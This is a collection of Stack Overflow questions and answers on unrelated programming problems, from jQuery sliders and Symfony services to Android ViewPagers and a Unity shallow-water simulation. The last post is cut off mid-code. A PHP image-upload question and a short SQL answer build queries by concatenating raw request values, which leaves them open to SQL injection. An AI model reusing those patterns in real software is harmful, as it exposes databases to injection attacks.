23602373	0	Jquery Slider using div and with pagination <p>I'm trying to create a image slider where in images are place inside a DIV.<br> So basically, I have 3 divs, they can be control using a href html, the first one, its function will move to the first div, second move to center div, and last move to the 3rd div the last one. I think this is called pagination? Correct me if I'm wrong. I did not place an image on the div to simplify the codes.</p> <pre><code> &lt;a href="" id="show1"&gt;Move to first div&lt;/a&gt; &lt;a href="" id="show2"&gt;Move to center&lt;/a&gt; &lt;a href="" id="show3"&gt;Move to 3rd div&lt;/a&gt; &lt;div id="main-wrapper"&gt; &lt;div id="inner-wrapper"&gt; &lt;ul&gt; &lt;li&gt;&lt;div id="div1" class="divstyle"&gt;this is first&lt;/div&gt;&lt;/li&gt; &lt;li&gt;&lt;div id="div2" class="divstyle"&gt;this is second&lt;/div&gt;&lt;/li&gt; &lt;li&gt;&lt;div id="div3" class="divstyle"&gt;this is third&lt;/div&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>This is how I tested it in jquery.</p> <pre><code>$(document).ready(function(){ $('#show1').click(function() { $('ul li div').animate({ left: '-=450' }, 3000, function() { // Animation complete. }); }); }); </code></pre> <p>I used the selector (ul li div) and used animate(), I tested a simple moving to the left, but it is not working. Any idea on this one?</p> <p>Basically this is what I'm trying to achieve. <br> <a href="http://theme.crumina.net/onetouch2/" rel="nofollow">http://theme.crumina.net/onetouch2/</a></p> <p><br><br> This is the css ,.</p> <pre><code>&lt;style&gt; .divstyle { text-align: center; width:450px; height:300px; border:1px solid #000; margin: auto; } #inner-wrapper ul li { list-style:none; position:relative; float:left; } #inner-wrapper li { display: inline; } #main-wrapper { position: relative; overflow:hidden; width:100%; border:1px solid #000; height: 350px; float:left; } #inner-wrapper { display: table; /* Allow the centering to work */ margin: 0 auto; position: relative; height: 300px; width:500px; border:1px solid #000; overflow: hidden; } &lt;/style&gt; </code></pre>
36330094	0	 <p>Please include all fonts type like you did. Create a new directory in your theme and call it fonts. Then add all your custom fonts into this directory. eg: moodle/theme/yourtheme/fonts/</p> <p>Some times " src: url([[font:theme|fontname.eot]]); ", this may not work. </p> <p>Please add path like this</p> <pre><code>@font-face { /* where FontName and fontname represents the name of the font you want to add */ font-family: 'fontname'; src: url('../theme/your-theme-name/fonts/fontname.woff'); src: url('../theme/your-theme-name/fonts/fontname.eot') format('embedded-opentype'), url('../theme/your-theme-name/fonts/fontname.woff') format('woff'), url('../theme/your-theme-name/fonts/fontname.ttf') format('truetype'), url('../theme/your-theme-name/fonts/fontname.svg') format('svg'); font-weight: normal; font-style: normal; </code></pre> <p>}</p> <p>Next ADD the name of your font wherever you want that font to be used in your stylesheet. For example: #page-header h1 { font-family: FontName;}</p> <p>try !!! It will work for you :) </p>
25911420	0	 <p>You can send the .ipa file to the testers (using Dropbox or BTSync for example). They can install it with iTunes (see : <a href="http://stackoverflow.com/questions/14127576/install-ipa-with-itunes-11">Install IPA with iTunes 11</a>)</p> <p><a href="https://crashlytics.com" rel="nofollow">Crashlitics</a> is a good alternative to TestFlight too.</p>
32694010	0	Curious about Format function with Phone Number <p>UPDATE (SOLVED): <a href="https://dotnetfiddle.net/6GEJyO" rel="nofollow noreferrer">https://dotnetfiddle.net/6GEJyO</a></p> <hr> <p>I used the following code to format a phone number in a loop with various formats:</p> <pre><code>string PhoneNumber = "9998675309" String.Format("{0:" + formatString + "}", Convert.ToDouble(PhoneNumber)) </code></pre> <p>I need to format phone numbers two slightly different ways. One came out as I expected and the other did not.</p> <p>So, curious, I decided to do a quick console app and see all of the different phone number formatting possibilities I could think of. Here is that result:</p> <p><a href="https://i.stack.imgur.com/UCym5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UCym5.png" alt="http://i.imgur.com/PfKlZfM.png"></a></p> <p>My question is this: Why do some of those come out formatted the way that they seem like they should and others do not? Are there escape characters that are needed for some of them?</p>
31915923	0	 <p>Yash, have you made sure that your Tomcat installation is working properly? You should be able to access the manager app (usually under localhost:8080/manager/html) and see all running applications, regardless of whether you have iteraplan deployed on the server or not. Also, to run iteraplan, you need a database (details can be found in the iteraplan installation guide: <a href="http://www.iteraplan.de/wiki/display/iteraplan34/Installation+Guide" rel="nofollow">http://www.iteraplan.de/wiki/display/iteraplan34/Installation+Guide</a>). Finally, if you just want to run the application, without modifying the code, it would be simpler to download one of the bundles available in sourceforge (<a href="http://sourceforge.net/projects/iteraplan/files/iteraplan" rel="nofollow">http://sourceforge.net/projects/iteraplan/files/iteraplan</a> Community Edition/). They have a Tomcat server and a database included.</p>
35963306	0	 <p>You have (at least) a couple of options here, but the obvious one is to supply a QueryBuilder to the field which provides the required rows (see <a href="http://symfony.com/doc/current/reference/forms/types/entity.html#query-builder" rel="nofollow">Symfony docs on EntityType Field</a>)</p> <p>E.g.</p> <pre><code>//Create function which accepts EntityRepository and returns required QueryBuilder $qbFunction = function(EntityRepository $er) { return $er-&gt;createQueryBuilder('n') //-&gt;orderBy() //If you need to, to get the correct 2 rows! -&gt;setMaxResults(2); //Just two rows }; $builder-&gt;add('adress',null,array('label' =&gt; 'form.adress', 'translation_domain' =&gt; 'FOSUserBundle')) -&gt;add('niveau','entity',array( 'class'=&gt;'EnsajAdministrationBundle:Niveau', 'property'=&gt;'libelle' ,'multiple'=&gt;false ,'query_builder' =&gt; $qbFunction) //give function to field ) </code></pre> <p>You can make the query more complex if you need to, e.g. add joins</p>
19668152	0	Google App Engine - How does datastore initialization work across sessions? <p>I'm developing my first project for GAE, and I'm wondering about how to go about setting up my connection to the datastore.</p> <p>Currently, I have the following in the header.jsp, which is included in all pages and includes a reference to a Datastore class that I created. </p> <p>header.jsp:</p> <pre><code>&lt;%@ page import="foo.Datastore"%&gt; &lt;% if (Datastore.getDatastore() == null) { DatastoreService datastore = DatastoreServiceFactory.getDatastoreService(); Datastore.setDatastore(datastore); } %&gt; </code></pre> <p>Datastore.java:</p> <pre><code>public class Datastore { private static DatastoreService ds; public static DatastoreService getDatastore() { return ds; } public static void setDatastore(DatastoreService d) { ds = d; } } </code></pre> <p>Will this connect me to the SAME datastore every time I use the application? If so, can you explain how this works? How does <code>DatastoreServiceFactory.getDatastoreService()</code> know which datastore to connect to? Thanks!</p>
7828515	0	In PHP, are objects methods code duplicated or shared between instances? <p>In PHP, if you make an array of objects, are the object methods (not data members) copied for each instance of the object in the array, or only once? I would assume that for memory reasons, the latter is true; I just wanted to confirm with the StackOverflow community that this is true.</p> <p>For example, suppose I have a class MyClass with a couple of methods, i.e.</p> <pre><code>class MyClass { public $data1; private $data2; public function MyClass($d1, $d2) { $this-&gt;data1=$d1; $this-&gt;data2=$d2; } public function method1() { } public function method2() { } } </code></pre> <p>Obviously in reality method1() and method2() are not empty functions. Now suppose I create an array of these objects:</p> <pre><code>$arr = array(); $arr[0] = &amp; new MyClass(1,2); $arr[1] = &amp; new MyClass(3,4); $arr[2] = &amp; new MyClass(5,6); </code></pre> <p>Thus PHP is storing three sets of data members in memory, for each of the three object instances. My question is, does PHP also store copies of method1() and method2() (and the constructor), 3 times, for each of the 3 elements of $arr? I'm trying to decide whether an array of ~200 objects would be too memory-intensive, because of having to store 200 copies of each method in memory.</p> <p>Thanks for your time.</p>
8667676	0	 <p>QThreads can deadlock if they finish "naturally" during termination.</p> <p>For example in Unix, if the thread is waiting on a "read" call, the termination attempt (a Unix signal) will make the "read" call abort with an error code before the thread is destroyed.</p> <p>That means that the thread can still reach it's natural exit point while being terminated. When it does so, a deadlock is reached since some internal mutex is already locked by the "terminate" call.</p> <p>My workaround is to actually make sure that the thread <em>never</em> returns if it was terminated.</p> <pre><code>while( read(...) &gt; 0 ) { // Do stuff... } while( wasTerminated ) sleep(1); return; </code></pre> <p><em>wasTerminated</em> here is actually implemented a bit more complex, using atomic ints:</p> <pre><code>enum { Running, Terminating, Quitting }; QAtomicInt _state; // Initialized to Running void myTerminate() { if( _state.testAndSetAquire(Running, Terminating) ) terminate(); } void run() { [...] while(read(...) &gt; 0 ) { [...] } if( !_state.testAndSetAquire(Running, Quitting) ) { for(;;) sleep(1); } } </code></pre>
11253398	0	 <p>You are probably not going to like this answer but I think if you are going to this much trouble to optimise the sql that linq is outputting then it is easier just to write it in sql.</p>
15518509	0	 <p>There is no pagination when using the Search functionality built in the Spotify Apps API. You can increase the number of results so it returns more than 50 results (see <a href="https://developer.spotify.com/technologies/apps/docs/833e3a06d6.html" rel="nofollow">the Search page in the documentation</a>), although the amount is limited (it seems to be 200 tracks at the moment).</p> <p>There is an alternative way, which is performing requests to the <a href="https://developer.spotify.com/technologies/web-api/search/" rel="nofollow">Web API</a> instead.</p>
15818586	0	 <p>You can use 3rd party library to get log about crash and exception. I have used <a href="https://markedup.com/" rel="nofollow">MarkedUp</a>. Another way is to create own web service which sends crash log to some database.</p>
29792281	0	 <pre><code>$updatequery = "update patient_dim set dentist_id = $dentist_id where". " patient_id = $patient_id"; </code></pre> <p>you forgot to add space after WHERE clause</p>
18910902	0	Adding ViewPager inside another ViewPager <p><img src="https://i.stack.imgur.com/SrvvR.jpg" alt="enter image description here"></p> <p>I'm creating an activity showing some photos with ViewPager. And I want to add another little ViewPager into any page of main ViewPager. When I swipe little ViewPager main ViewPager swipes. I want main ViewPager not to swipe.</p> <p>How can I do it?</p> <p>Note: I add all the elements by programmatically.</p> <pre><code> RelativeLayout RelLay=(RelativeLayout) viewPager.findViewById(arg0); //main ViewPager page final ViewPager vpager=new ViewPager(getBaseContext()); ArrayList&lt;String&gt; childImages=new ArrayList&lt;String&gt;(); childImages.add("/storage/sdcard0/Folder/1.jpg"); childImages.add("/storage/sdcard0/Folder/2.jpg"); childImages.add("/storage/sdcard0/Folder/3.jpg"); childImages.add("/storage/sdcard0/Folder/4.jpg"); childImages.add("/storage/sdcard0/Folder/5.jpg"); ImageAdapterChild imageadapter=new ImageAdapterChild(getBaseContext(), childImages); vpager.setLayoutParams(lparams); vpager.setAdapter(imageadapter); RelLay.addView(vpager); //add child ViewPager into the main ViewPager </code></pre>
18078485	0	 <p>Make necessary improvements you need. This will get you started.</p> <p><a href="http://jsfiddle.net/eTJGV/1/" rel="nofollow">http://jsfiddle.net/eTJGV/1/</a></p> <p>Use jquery change property,</p> <pre><code>$('#color').change(function(){ var color = $(this).val(); $('textarea').css('background-color',color); }); </code></pre>
33642413	0	 <p>Have you created all the necessary columns for your associations? Your schema for your taggings table should look similar to this</p> <pre><code>create_table "taggings", force: :cascade do |t| t.integer "token_id", limit: 4 t.integer "taggable_id", limit: 4 t.string "taggable_type", limit: 255 t.datetime "created_at", null: false t.datetime "updated_at", null: false end </code></pre> <p>I think you are missing the <code>token_id</code> column or forgot to perform a migration.</p>
13065689	0	 <p>As others have pointed out the problem, I thought I would suggest an easier solution</p> <pre><code>File.AppendAllText(filename, "test"); </code></pre>
23451782	0	 <p>I don't think you really want to build your own operating system. There's already an operating system called <a href="http://www.reactos.org/" rel="nofollow">ReactOS</a> that's pretty much what you're looking to build.</p> <p>Just to reemphasize that creating an operating system isn't easy (especially one that runs Windows applications), ReactOS development started in 1998 and they're still in alpha stage.</p> <p>If you still want to have a crack at it, I would recommend having a look at <a href="http://wiki.osdev.org/Expanded_Main_Page" rel="nofollow">OSDev</a>, <a href="http://www.winehq.org/" rel="nofollow">Wine</a> source code and <a href="http://www.reactos.org/" rel="nofollow">ReactOS</a> source code.</p> <p>Have you considered perhaps making a minimalistic Linux distro that contains the minimum number of programs needed to start up Wine and the Windows application you need?</p>
39966942	0	 <p>As @ivoba stated there is no native expression handling of bitwise operators for the symfony parameters.xml services.xml files or their yml equivalents.</p> <p>For others looking for a method to handle special parameters, one method is that you can use a <code>CompilerPassInterface</code> to process the parameter values for you, then add the CompilerPass to your Bundle's build method, this way your container will build and cache the SoapClient.</p> <p>Below demonstrates adding the SoapClient as an extension, allowing you to use it from a specific Bundle that can be included in other Applications. Alternatively <code>services.xml</code> can be ported to the global <code>/app/config/services.xml</code> file and the compiler can be included in a desired Bundle build method.</p> <p><strong>Define the CompilerPass</strong></p> <pre><code>//src/AppBundle/DependencyInjection/Compiler/SoapServicePass.php namespace AppBundle\DependencyInjection\Compiler; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; class SoapServicePass extends CompilerPassInterface { public function process(ContainerBuilder $container) { if ($container-&gt;hasParameter('soap.compression')) { $compression = $container-&gt;getParameter('soap.compression'); if (true === is_array($compression)) { //easy way to bitwise OR an array of integer values and return 0 $compression = array_reduce($compression, function ($a, $b) { return $a | $b; }, 0); } if (false === is_int($compression)) { //validation to ensure an integer value is received throw new \InvalidArgumentException('soap.compression parameter must be an integer or an array of integer values to apply bitwise OR on'); } $container-&gt;setParameter('soap.compression', $compression); } //... } //... } </code></pre> <p><strong>Define the Extension</strong></p> <pre><code>//src/AppBundle/DependencyInjection/SoapExtension.php namespace AppBundle\DependencyInjection; use Symfony\Component\Config\FileLocator; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Loader\XmlFileLoader; use Symfony\Component\HttpKernel\DependencyInjection\Extension; class SoapExtension extends Extension { public function load(array $configs, ContainerBuilder $container) { $loader = new XmlFileLoader($container, new FileLocator(__DIR__ . '/../Resources/config')); $loader-&gt;load('services.xml'); } } </code></pre> <p><strong>Define the Service</strong></p> <pre class="lang-xml prettyprint-override"><code>&lt;!-- src/AppBundle/Resources/config/services.xml --&gt; &lt;?xml version="1.0" ?&gt; &lt;container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"&gt; &lt;parameters&gt; &lt;parameter key="soap.compression" type="collection"&gt; &lt;parameter type="constant"&gt;SOAP_COMPRESSION_ACCEPT&lt;/parameter&gt; &lt;parameter type="constant"&gt;SOAP_COMPRESSION_GZIP&lt;/parameter&gt; &lt;/parameter&gt; &lt;parameter key="soap.options" type="collection"&gt; &lt;parameter key="compression"&gt;%soap.compression%&lt;/parameter&gt; &lt;/parameter&gt; &lt;/parameters&gt; &lt;services&gt; &lt;service id="soap_client" class="SoapClient"&gt; &lt;argument/&gt; &lt;argument&gt;%soap.options%&lt;/argument&gt; &lt;/service&gt; &lt;/services&gt; &lt;/container&gt; </code></pre> <p><strong>Include the Extension and CompilerPass in your bundle</strong></p> <pre><code>//src/AppBundle/AppBundle.php namespace AppBundle; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\HttpKernel\Bundle\Bundle; use AppBundle\DependencyInjection\Compiler\SoapServicePass; use AppBundle\DependencyInjection\SoapExtension; class AppBundle extends Bundle { public function build(ContainerBuilder $container) { $container-&gt;addCompilerPass(new SoapServicePass); //... } public function getContainerExtension() { return new SoapExtension; } //... } </code></pre> <p><strong>Container Results:</strong></p> <pre><code>/** * Gets the 'soap_client' service. * * This service is shared. * This method always returns the same instance of the service. * * @return \SoapClient A SoapClient instance */ protected function getSoapClientService() { return $this-&gt;services['soap_client'] = new \SoapClient('', array('compression' =&gt; 32)); } </code></pre>
32725478	0	Retrieving original class types from anonymous classes <p>Given a class with an empty constructor and a var:</p> <pre><code>class MyClass() { var myVar: Int = 0 } </code></pre> <p>When the class is instantiated with a closure, this yields an object with the underlying type of an anonymous class rather than MyClass:</p> <pre><code>// getClass yields type my.package.MainClass$$anonfun$1$anonfun$apply... val myNewClassInstance: MyClass = new MyClass() { myVar = 2} </code></pre> <p>Is it possible to retrieve the original class type MyClass using reflection and the object myNewClassInstance, in order to create new object instances from it?</p>
14595661	0	 <p>For simple stuff you can use <a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/net/SharedObject.html" rel="nofollow">SharedObject</a></p>
40659647	0	Can not Update A Picture Into A Database Using PDO <p>Having problems updating an image into the database. If I try to update this is what comes on the screen</p> <blockquote> <p>Notice: Undefined index: picture in C:\xampp\htdocs\churchapp\db\controller.php on line 193</p> <p>Warning: getimagesize(): Filename cannot be empty in C:\xampp\htdocs\churchapp\db\db.php on line 45</p> </blockquote> <pre><code>if (isset($_POST['updatemember'])) { extract($_POST); $picture = $_FILES['picture']; $imagename = $picture['name']; $fileInfo = array( 'name' =&gt; $picture['name'], 'type' =&gt; $picture['type'], 'temp_name' =&gt; $picture['tmp_name'], 'error' =&gt; $picture['error'], 'size' =&gt; $picture['size'] ); $upload = $con-&gt;uploadImage($fileInfo); if ($upload == 1) { $con-&gt;command("UPDATE member SET pic = '".$imagename."', firstname = '".$fname."', lastname = '".$lname."', othernames = '".$othernames."', dob = '".$dob."', age = '".$age."', gender = '".$gender."', occupation = '".$occupation."', phonenumber = '".$pnum."', email = '".$email."', residence = '".$residence."', hometown = '".$hometown."', mstatus = '".$mstatus."', nod = '".$nod."', ministry = '".$ministry."', position = '".$position."', department = '".$department."', dojc = '".$dojc."', doma = '".$doma."', doc = '".$doc."', d_baptize = '".$d_baptize."', dofm = '".$dofm."', domr = '".$domr."', tithe_payer = '".$tithe_payer."', pre_church = '".$pre_church."' WHERE id = '".$id."' "); header("Location: ../viewallmem.php"); } } and public function uploadImage($f){ $target_dir = "../images/"; $target_file = $target_dir . basename($f['name']); $uploadOk = 1; $imageFileType = pathinfo($target_file,PATHINFO_EXTENSION); // Check if image file is a actual image or fake image $check = getimagesize($f['temp_name']); if($check !== false) { $uploadOk = 1; } else { $uploadOk = 0; } // Check if file already exists if (file_exists($target_file)) { $uploadOk = 0; } // Check file size if ($f['size'] &gt; 50000000) { $uploadOk = 0; } // Allow certain file formats if($imageFileType != "jpg" &amp;&amp; $imageFileType != "png" &amp;&amp; $imageFileType != "PNG" &amp;&amp; $imageFileType != "jpeg" &amp;&amp; $imageFileType != "gif" ) { $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { // if everything is ok, try to upload file }else { move_uploaded_file($f['temp_name'], $target_file); } return $uploadOk; } </code></pre>
37897049	0	 <p>I think you should use one <code>SqlDataSource</code> and change its <code>SelectCommnad</code> according to the selection of <code>dropdown</code>.</p> <pre><code>if(dropdwon.SelectedValue == "0"){ SqlDataSource1.SelectCommnad = "Your sp to search city"; GridView1.DataSourceID = SqlDataSource1; GridView1.DataBind(); } else if(dropdwon.SelectedValue == "1"){ SqlDataSource1.SelectCommnad = "Your sp to search country"; GridView1.DataSourceID = SqlDataSource1; GridView1.DataBind(); } </code></pre>
398209	0	Actionscript 3.0, why is it missing good OOP elements? <p>Anyone who has programmed with actionscript 3.0 has most certainly noticed its lack of support for private constructors and abstract classes. There are ways to work around these flaws, like throwing errors from methods which should be abstract, but these work arounds are annoying and not very elegant. (Throwing an error from a method that should be abstract is a run-time check, not compile-time, which can lead to a lot of frustration).</p> <p>I know actionscript 3.0 follows the current ECMAscript standard and this is the reason for its lack of private constructors, but what about abstract classes, are they not in the ECMAscript standard eather?</p> <p>I guess the more specific question is why does ECMAscript standard not support private constructors? Is it something that can be look forward to in the future?</p> <p>I have been wondering this for quit sometime, any insight will be much appreciated.</p>
33941965	0	Android How to package as API <p>I am working on providing SDK support for another apps by opening my app UI elements into another app. Its like having Facebook SDK integrated with other apps where one when click on "Login with Facebook" facebook UI comes up. Other apps like Uber has its own SDK How can I achieve it? One option is to have .jar/.aar file packaged. Or Deep linking works well? Please also suggest some documentation which can help me. Thanks,</p>
19547000	0	 <p>A little whitespace will go a long way...</p> <p>The opposite of <code>$0 ~ s</code> is <code>$0 !~ s</code>, so</p> <pre><code>cvs -q status | awk ' c-- &gt; 0 $0 !~ s { if (b) for (c=b+1; c&gt;1; c--) print r[(NR-c+1)%b] print c=a } b {r[NR%b]=$0} ' b=1 a=9 s='Up-to-date' </code></pre>
25581667	0	Match the top of the characters and the bottom baseline of the font <p>Do you know of a reliable way to have borders matching the baseline of the font and the top of the characters? </p> <p>I'm not sure it's very clear as I lack the words to explain this precisely, so here is an example: <a href="http://codepen.io/anon/pen/zwjLf" rel="nofollow">http://codepen.io/anon/pen/zwjLf</a>. This is what I've been able to achieve messing with the line-height property until finding the best value:</p> <pre><code>line-height: 0.7em; </code></pre> <p>But I guess it's not a very clean or reliable way to do it.</p>
38766463	0	BackupManager - any "bmgr wipe" alternative? <p>The <code>bmgr wipe</code> command doesn't work. Also disabling the <code>BackupManager</code> didn't help removing the backup sets. Is there any alternative way to remove those sets?<br> Is there any option for that in the Google account settings on the web?</p>
11719652	0	 <p>Glyph ID's do not always correspond to Unicode character values - especially with non latin scripts that use a lot of ligatures and variant glyph forms where there is not a one-to-one correspondance between glyphs and characters.</p> <p>Only Tagged PDF files store the Unicode text - otherwise you may have to reconstruct the characters from the glyph names in the fonts. This is possible if the fonts used have glyphs named according to Adobe's Glyph Naming Convention or <a href="http://sourceforge.net/adobe/aglfn/wiki/AGL%20Specification/" rel="nofollow">Adobe Glyph List Specification</a> - but many fonts, including the standard Windows fonts, don't follow this naming convention.</p>
38719861	0	What happens if rules are applied multiple time to a form <p>This is more of a generic question, please remove it if this is not a correct platform.</p> <p>My question is what happens if rules are applied to html form multiple time. like every time user clicks on button if rules are applied what will be the impact.</p> <p>I am pretty sure such things won't happen but in case if we do that will browser go for a memory leak.?</p> <p>Below is a sample validaiton.</p> <pre><code> $("#fromValidate").validate({ rules: { txtName: { required: true } }, messages: { txtName: { required: "Please Enter Name." } }, ignore: [] }); </code></pre> <p>If above rules are called everytime user clicks the button what will be the impact?</p>
3023259	0	 <p>Use <a href="http://msdn.microsoft.com/en-us/library/9h21f14e.aspx" rel="nofollow noreferrer"><code>DateTime.TryParse</code></a> with the format string you want.</p> <p>If you can accept several formats then you'll need to call each in turn until you find the one that matches - which I assume is what you mean by "the tedious approach".</p>
38452416	0	How do I write an MDX statement to do something differently if the current shown period is incomplete? <p>Using MDX, I need to show a "Closing" stock amount which is basically the last value for the period being shown.</p> <p>For example, if they are looking at the data by week, then the closing stock is the last day of that week, month is the last day of that month etc.</p> <p>I am using the following to show me this: <code>(ClosingPeriod([Date].[Retail].[Date], [Date].[Retail].CurrentMember), [Measures].[On Hand Quantity])</code></p> <p>The problem I am having is when they are looking at a period that is not yet finished. For example, if they are looking at current week, we want to show the most recent value that is not 0. If they are looking at current month or even current year, it should still show yesterday as that period level has not yet finished.</p> <p>How do I say "if we are looking at the current period, show yesterday, otherwise use my code above to show closingperiod"?</p> <p>I can use <code>StrToMember('[Date].[Calendar].[Date].&amp;[' + Format(Now(), 'yyyy-MM-dd') + 'T00:00:00]')</code> to get the current dates member.</p> <p>I was doing the below with the assumption that if I don't have a value, then it must be incomplete, however future periods are showing a value which is not what I want:</p> <pre><code> CoalesceEmpty( (ClosingPeriod([Date].[Retail].[Date], [Date].[Retail].CurrentMember), [Measures].[On Hand Quantity]), (StrToMember('[Date].[Calendar].[Date].&amp;[' + Format(Now(), 'yyyy-MM-dd') + 'T00:00:00]'), [Measures].[On Hand Quantity]) ) </code></pre>
34987254	0	iOS how to cache data when kill application? <p>I am developing a new feature for my app. I want cache all datas get from web service to read when offline. <br> Current, my app can cache data but when I killed my app It didn't work. <br> I saw an application <a href="https://itunes.apple.com/us/app/smartnews-trending-news-stories/id579581125?mt=8" rel="nofollow">https://itunes.apple.com/us/app/smartnews-trending-news-stories/id579581125?mt=8</a> can cache everything when killed application. <br>Do you have some suggest for me? <br> Thanks.</p>
26948236	0	Does not show/retrieve PFObjects that were created by another Parse Installation user <p>I've been working on an app for months, and in the development stage it was having no problem retrieving info from the Parse backend. However, the second that I moved the app over to distribution and put in on the app store, I discovered that all the objects that someone would send me from their installation would not show up in my inbox. I am only able to see the objects I created in my inbox. Would anyone know possibly why I can't see objects that other users make on my app, and Vise Versa? Btw, this is through Xcode, Objective-C, and iOS.</p>
21756516	0	 <p>Assuming that the result is another <code>DataTable</code> with the aggregated data:</p> <pre><code>var aggrTable = table.Clone(); // schema only var groups = table.AsEnumerable() .GroupBy(r =&gt; new { ItemNumber = r.Field&lt;int&gt;("ItemNumber"), Cat1 = r.Field&lt;string&gt;("Cat1") }); foreach(var group in groups) { DataRow row = aggrTable.Rows.Add(); row.SetField("ItemNumber", group.Key.ItemNumber); row.SetField("Cat1", group.Key.Cat1); row.SetField("Low Price", group.Min(r =&gt; r.Field&lt;int&gt;("Low Price"))); row.SetField("High Price", group.Max(r =&gt; r.Field&lt;int&gt;("High Price"))); } </code></pre> <p>Result-table (tested with your sample data):</p> <pre><code> ItemNumber Cat1 Low Price High Price 100 Item1 1 12 150 Item2 2 18 </code></pre>
12163773	0	 <p>Use <code>file</code>, e.g.</p> <pre><code>$ file `which git` /usr/local/bin/git: Mach-O 64-bit executable x86_64 </code></pre>
35655455	0	 <p>Here is how I would generally do this. </p> <ol> <li>A Use the web service tester in Workday Studio. Use that and the Xml request template it creates to get the request working. Then build the same request in another tool you can automate Or </li> <li>Use SoapUi to consume the WSDL for this web service . Get the request working in SoapUI first </li> <li>Use wsdl2java to create all the necessary Java classes for calling the Launch EIB service . Then write the call programmatically . </li> </ol> <p>I have code sitting around for launching Studio integrations this way and EIB launch seems to be similar. Let me know if you would like to see the code for studio launching. </p>
29500214	0	 <p>The error tells you exactly where the problem is. </p> <pre><code>add has_many :bookmarks to app/models/user.rb add belongs_to :user to app/model/user.rb </code></pre> <p>this should not be in a migration since they do not change the schema. You need to add these to the bookmark and user model, so</p> <pre><code>class Bookmark &lt; ActiveRecord::Base belongs_to :user end class User &lt; ActiveRecord::Base has_many :bookmarks end </code></pre>
16077067	0	 <p>I know its too late.But it will help some others. Use show and hide instead of replace.Here is a sample code.</p> <pre><code>private class MyTabListener implements ActionBar.TabListener { @Override public void onTabSelected(Tab tab, FragmentTransaction ft) { switch (tab.getPosition()) { case 0: if (frag1 == null) { // If not, instantiate and add it to the activity frag1 = Fragment.instantiate(getApplicationContext(), FeedsActivity.class.getName()); ft.add(android.R.id.content, frag1, "Feeds"); } else { // If it exists, simply attach it in order to show it ft.show(frag1); } return; case 1: if (frag2 == null) { // If not, instantiate and add it to the activity frag2 = Fragment.instantiate(getApplicationContext(), ProfileActivity.class.getName()); ft.add(android.R.id.content, frag2, "Profile"); } else { // If it exists, simply attach it in order to show it ft.show(frag2); } return; case 2: if (frag3 == null) { // If not, instantiate and add it to the activity frag3 = Fragment.instantiate(getApplicationContext(), History.class.getName()); ft.add(android.R.id.content, frag3, "History"); } else { // If it exists, simply attach it in order to show it ft.show(frag3); } return; } } @Override public void onTabUnselected(Tab tab, FragmentTransaction ft) { // TODO Auto-generated method stub if (frag1 != null) { // Detach the fragment, because another one is being attached switch (tab.getPosition()) { case 0: ft.hide(frag1); return; case 1: ft.hide(frag2); return; case 2: ft.hide(frag3); return; } } } @Override public void onTabReselected(Tab tab, FragmentTransaction ft) { // TODO Auto-generated method stub } } </code></pre>
24533294	0	Strange oscillating ripples in my shallow water implementation <p>I've been trying to implement the shallow water equations in Unity, but I've run in a weird bug. I get these strange oscillating ripples in my water. I made some screenshot:</p> <p><img src="https://i.stack.imgur.com/9FcuF.jpg" alt="enter image description here"> <img src="https://i.stack.imgur.com/JpCOk.jpg" alt="enter image description here"></p> <p>And a video you can find here: <a href="https://www.youtube.com/watch?v=crXLrvETdjA" rel="nofollow noreferrer">https://www.youtube.com/watch?v=crXLrvETdjA</a></p> <p>I based my code on the paper <a href="http://evasion.imag.fr/Publications/2007/MDH07/FastErosion_PG07.pdf" rel="nofollow noreferrer">Fast Hydraulic Erosion Simulation and Visualization on GPU</a> by Xing Mei. And you can find the entire solver code here: <a href="http://pastebin.com/JktpizHW" rel="nofollow noreferrer">http://pastebin.com/JktpizHW</a> (or see below.) Each time I use a formula from the paper, I added its number as a comment.</p> <p>I tried different timesteps, for the video I used 0.02, lowering it just made it oscillate slower. I also tried a bigger grid (video uses 100, I tried 200 but then the ripples just were smaller.) I checked all formulas several times, and can't find any error.</p> <p>Anyone here who can figure out what's going wrong?</p> <p>Extra info:</p> <p>As you can see from the pastebin, I programmed it in c#. I used Unity as my engine for visualisation, and I'm just using a grid mesh to visualise the water. I alter the mesh's vertex y component to match the height I calculate.</p> <p>The DoUpdate method gets a <code>float[][] lowerLayersHeight</code> parameter, that's basically the height of the terrain under the water. In the video it's just all <code>0</code>.</p> <pre><code>public override void DoUpdate(float dt, float dx, float[][] lowerLayersHeight) { int x, y; float totalHeight, dhL, dhR, dhT, dhB; float dt_A_g_l = dt * _A * g / dx; //all constants for equation 2 float K; // scaling factor for the outﬂow ﬂux float dV; for (x=1 ; x &lt;= N ; x++ ) { for (y=1 ; y &lt;= N ; y++ ) { // // 3.2.1 Outﬂow Flux Computation // -------------------------------------------------------------- totalHeight = lowerLayersHeight[x][y] + _height[x][y]; dhL = totalHeight - lowerLayersHeight[x-1][y] - _height[x-1][y]; //(3) dhR = totalHeight - lowerLayersHeight[x+1][y] - _height[x+1][y]; dhT = totalHeight - lowerLayersHeight[x][y+1] - _height[x][y+1]; dhB = totalHeight - lowerLayersHeight[x][y-1] - _height[x][y-1]; _tempFlux[x][y].left = Mathf.Max(0.0f, _flux[x][y].left + dt_A_g_l * dhL ); //(2) _tempFlux[x][y].right = Mathf.Max(0.0f, _flux[x][y].right + dt_A_g_l * dhR ); _tempFlux[x][y].top = Mathf.Max(0.0f, _flux[x][y].top + dt_A_g_l * dhT ); _tempFlux[x][y].bottom = Mathf.Max(0.0f, _flux[x][y].bottom + dt_A_g_l * dhB ); float totalFlux = _tempFlux[x][y].left + _tempFlux[x][y].right + _tempFlux[x][y].top + _tempFlux[x][y].bottom; if (totalFlux &gt; 0) { K = Mathf.Min(1.0f, _height[x][y] * dx * dx / totalFlux / dt); //(4) _tempFlux[x][y].left = K * _tempFlux[x][y].left; //(5) _tempFlux[x][y].right = K * _tempFlux[x][y].right; _tempFlux[x][y].top = K * 